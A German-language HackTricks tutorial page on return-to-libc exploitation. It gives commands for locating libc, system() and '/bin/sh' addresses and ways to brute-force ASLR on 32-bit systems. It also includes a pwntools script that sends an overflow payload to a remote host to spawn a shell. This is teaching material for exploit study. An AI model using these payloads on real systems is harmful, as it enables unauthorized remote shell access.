hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib
2024-04-02 19:46:19 +00:00
..
rop-leaking-libc-address Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat 2024-03-29 21:05:19 +00:00
README.md Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'reversin 2024-04-02 19:46:19 +00:00

Ret2lib

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Grundlegende Informationen

Die Essenz von Ret2Libc besteht darin, den Ausführungsfluss eines anfälligen Programms auf eine Funktion in einer gemeinsam genutzten Bibliothek (z. B. system, execve, strcpy) umzuleiten, anstatt ausführbaren Shellcode auf dem Stapel auszuführen. Der Angreifer erstellt eine Nutzlast, die die Rückkehradresse auf dem Stapel so ändert, dass sie auf die gewünschte Bibliotheksfunktion zeigt, und gleichzeitig dafür sorgt, dass alle erforderlichen Argumente gemäß der Aufrufkonvention korrekt eingerichtet sind.

Beispiel-Schritte (vereinfacht)

  • Ermitteln Sie die Adresse der zu aufrufenden Funktion (z. B. system) und den auszuführenden Befehl (z. B. /bin/sh)
  • Generieren Sie eine ROP-Kette, um das erste Argument zu übergeben, das auf den Befehlsstring zeigt, und den Ausführungsfluss zur Funktion zu lenken

Adressen finden

  • Angenommen, die verwendete libc ist diejenige des aktuellen Rechners, können Sie herausfinden, wo sie im Speicher geladen wird mit:

{% code overflow="wrap" %}

ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

{% endcode %}

Wenn Sie überprüfen möchten, ob ASLR die Adresse von libc ändert, können Sie Folgendes tun:

for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
  • Wenn die verwendete libc bekannt ist, ist es auch möglich, den Offset zur system-Funktion mit folgendem Befehl zu finden:
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  • Wenn die verwendete libc bekannt ist, ist es auch möglich, den Offset zur Zeichenkette /bin/sh-Funktion mit folgendem Befehl zu finden:
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

Mit gdb-peda / GEF verwenden

Wenn die verwendete libc bekannt ist, ist es auch möglich, Peda oder GEF zu verwenden, um die Adresse der Funktion system, der Funktion exit und des Strings /bin/sh zu erhalten:

p system
p exit
find "/bin/sh"

Verwendung von /proc/<PID>/maps

Wenn der Prozess jedes Mal, wenn Sie mit ihm sprechen, Kinder erstellt (Netzwerkserver), versuchen Sie, diese Datei zu lesen (wahrscheinlich müssen Sie root sein).

Hier können Sie genau herausfinden, wo die libc im Prozess geladen ist und wo sie für jedes Kind des Prozesses geladen wird.

In diesem Fall wird sie bei 0xb75dc000 geladen (Dies wird die Basisadresse der libc sein)

Unbekannte libc

Es könnte möglich sein, dass Sie nicht wissen, welche libc die Binärdatei lädt (weil sie sich möglicherweise auf einem Server befindet, auf den Sie keinen Zugriff haben). In diesem Fall könnten Sie die Schwachstelle ausnutzen, um einige Adressen zu leaken und herauszufinden, welche libc-Bibliothek verwendet wird:

{% content-ref url="rop-leaking-libc-address/" %} rop-leaking-libc-address {% endcontent-ref %}

Und Sie können eine pwntools-Vorlage dafür finden unter:

{% content-ref url="rop-leaking-libc-address/rop-leaking-libc-template.md" %} rop-leaking-libc-template.md {% endcontent-ref %}

Umgehung von ASLR in 32 Bit

Diese Brute-Force-Angriffe sind nur für 32-Bit-Systeme nützlich.

  • Wenn der Exploit lokal ist, können Sie versuchen, die Basisadresse der libc per Brute-Force anzugreifen (nützlich für 32-Bit-Systeme):
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Wenn Sie einen Remote-Server angreifen, könnten Sie versuchen, die Adresse der libc-Funktion usleep durch Brute-Force zu ermitteln und dabei 10 als Argument zu übergeben. Wenn der Server zu einem bestimmten Zeitpunkt 10 Sekunden länger braucht, um zu antworten, haben Sie die Adresse dieser Funktion gefunden.

Ein Gadget

{% content-ref url="../../one-gadget.md" %} one-gadget.md {% endcontent-ref %}

x86 Ret2lib Codebeispiel

In diesem Beispiel ist das ASLR-Brute-Force in den Code integriert und die verwundbare Binärdatei befindet sich auf einem Remote-Server:

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

x64 Ret2lib Code Beispiel

Überprüfen Sie das Beispiel unter:

{% content-ref url="../rop-return-oriented-programing.md" %} rop-return-oriented-programing.md {% endcontent-ref %}

Ret-into-printf (oder puts)

Dies ermöglicht das Leaken von Informationen aus dem Prozess, indem printf/puts mit spezifischen Daten als Argument aufgerufen wird.

Ret2printf

Dies bedeutet im Grunde, einen Ret2lib zu missbrauchen, um ihn in eine printf-Formatstrings-Verwundbarkeit zu verwandeln, indem der ret2lib verwendet wird, um printf mit den Werten aufzurufen, um sie auszunutzen (klingt nutzlos, ist aber möglich):

{% content-ref url="../../format-strings/" %} format-strings {% endcontent-ref %}

Weitere Beispiele & Referenzen